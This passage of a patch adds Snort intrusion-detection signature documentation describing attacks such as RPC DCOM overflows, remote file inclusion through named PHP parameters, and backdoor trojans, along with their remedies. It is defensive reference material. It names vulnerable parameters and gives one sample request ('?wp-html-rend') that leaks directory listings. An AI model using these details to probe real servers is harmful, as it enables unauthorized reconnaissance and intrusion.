+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/183.txt
+++ snort-2.8.5.2/doc/signatures/183.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+183
+
+--
+Summary:
+Q is a Trojan Horse offering the attacker remote access to the victim 
+host. This event is generated when raw ICMP packets are sent to the 
+victim server.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems.
+
+The Trojan is controlled by sending raw packets (TCP/UDP/ICMP) to the 
+victim host containing commands to be run as root.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. The 
+attacker can then choose to send raw data to the victim via TCP/UDP/ICMP
+from the broadcast address of a class C network.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Traffic originating from a broadcast address should not be allowed from 
+external sources or from internal sources to external destinations. 
+Judicious use of firewall rules is necessary.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS202
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3258.txt
+++ snort-2.8.5.2/doc/signatures/3258.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3258
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2412.txt
+++ snort-2.8.5.2/doc/signatures/2412.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid:
+2412
+
+--
+Summary:
+This event is generated when a cross-site scripting attempt using
+RealNetworks RealPlayer has been successful.
+
+--
+Impact:
+Cross site scripting, information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in versions of RealPlayer from RealNetworks that
+may allow a remote attacker to launch a sucessful cross-site scripting
+attack against a host running the application.
+
+This event is indicative of a successful attack.
+
+--
+Affected Systems:
+	RealNetworks RealPlayer
+	
+--
+Attack Scenarios:
+An attacker can supply a malformed file to the client making the request
+and use the vulnerability to gain sensitive information from the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/875.txt
+++ snort-2.8.5.2/doc/signatures/875.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+875
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3254.txt
+++ snort-2.8.5.2/doc/signatures/3254.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3254
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1095.txt
+++ snort-2.8.5.2/doc/signatures/1095.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1095
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000573.txt
+++ snort-2.8.5.2/doc/signatures/100000573.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000573
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "app_setup.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "app_setup.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1861.txt
+++ snort-2.8.5.2/doc/signatures/1861.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1861
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1949.txt
+++ snort-2.8.5.2/doc/signatures/1949.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+1949
+
+--
+Summary:
+This event is generated when an attempt is made to register a Remote Procedure Call (RPC) program to the portmapper.  RPC is a facility that enables a machine to request a service from another remote machine. This is done without the need for detailed network information. Some versions of RPC have a vulnerability that allows a remote host to register applications from a spoofed source. 
+
+ -- 
+Impact:
+Attempted remote access.  This may be an attempt to maliciously register a program with the portmapper.
+
+--
+Detailed Information:
+Certain versions of rpcbind portmapper contain a flaw that can allow an attacker capable of spoofing TCP packets to register arbitrary RPC programs. It is possible for the attacker to gain root access depending on the RPC service registered.  
+
+-- 
+Affected Systems: 
+All machines running vulnerable RPC services.
+
+--
+Attack Scenarios:
+The attacker could potentially spoof TCP packets using pmap_set to register an RPC service. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule writer Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3098.txt
+++ snort-2.8.5.2/doc/signatures/3098.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3098
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000398.txt
+++ snort-2.8.5.2/doc/signatures/100000398.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000398
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "frchart.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "frchart.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/923.txt
+++ snort-2.8.5.2/doc/signatures/923.txt
@@ -0,0 +1,62 @@
+SID:
+923
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1375.txt
+++ snort-2.8.5.2/doc/signatures/1375.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1375
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2427.txt
+++ snort-2.8.5.2/doc/signatures/2427.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2427
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/106.txt
+++ snort-2.8.5.2/doc/signatures/106.txt
@@ -0,0 +1,92 @@
+Rule:
+
+--
+Sid:
+106
+
+--
+Summary:
+Backdoor.AckCmd is a Trojan Horse that uses TCP ACK segments to
+communicate. This Trojan may bypass firewalls that do not keep track of
+the session state in a TCP transaction.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine. Other versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows executable that does
+not make changes to the system registry.
+
+AckCmd is a "proof of concept" Trojan.
+
+	SID	Message
+	---	-------
+	106	ACKcmdC trojan scan
+
+This event is indicative of an attacker attempting to locate AckCmd
+servers.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Delete the file AckCmd.exe
+
+A machine reboot is required to clear the existing process from running
+in memory.
+
+In addition, the use of a firewall that correctly checks the state of a
+TCP session is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS485
+
+ntsecurity.nu
+ACK Tunneling Trojans
+http://ntsecurity.nu/papers/acktunneling/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1191.txt
+++ snort-2.8.5.2/doc/signatures/1191.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid:
+1191
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web
+server. Also, the html-rend command can be used to launch denial of
+service attacks. 
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-html-rend".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+Additionally, on Windows NT and Windows 2000, a specially crafted URL
+can use this command to cause an access violation error and crash the web server. 
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+--
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. Also, this command may be used to carry
+out a denial of service (DoS) attack. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2925.txt
+++ snort-2.8.5.2/doc/signatures/2925.txt
@@ -0,0 +1,68 @@
+Rule: 
+
+--
+Sid: 
+2925
+
+-- 
+Summary: 
+This event is generated when an image fitting the profile of a web bug
+has been detected in network traffic.
+
+-- 
+
+Impact: 
+Information disclosure.
+
+--
+Detailed Information:
+Web bugs are 1x1 pixel image files that are found in web pages or HTML
+email. These are often used to monitor and track a users activity on the
+web. Information such as the browsers IP address, cookie information,
+time, browser version and other user identifiable charateristics can be
+collected using web bugs.
+
+This rule identifies an image that conforms to the usual size and format
+of a web bug.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios: 
+An attacker can use this type of image in an HTML email or on a web
+page to gather information about the host and user. Since these images
+can be not only small but transparent, they are almost undetectable in
+HTML pages.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Disallow the use of HTML email
+
+Use a web proxy server to strip all web bug images from server
+responses.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3450.txt
+++ snort-2.8.5.2/doc/signatures/3450.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3450
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1312.txt
+++ snort-2.8.5.2/doc/signatures/1312.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1312
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "nude cheerleader".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "nude cheerleader".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2677.txt
+++ snort-2.8.5.2/doc/signatures/2677.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2677
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure instantiate_online
+. This procedure is included in
+dbms_repcat_rgt.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1719.txt
+++ snort-2.8.5.2/doc/signatures/1719.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1719
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
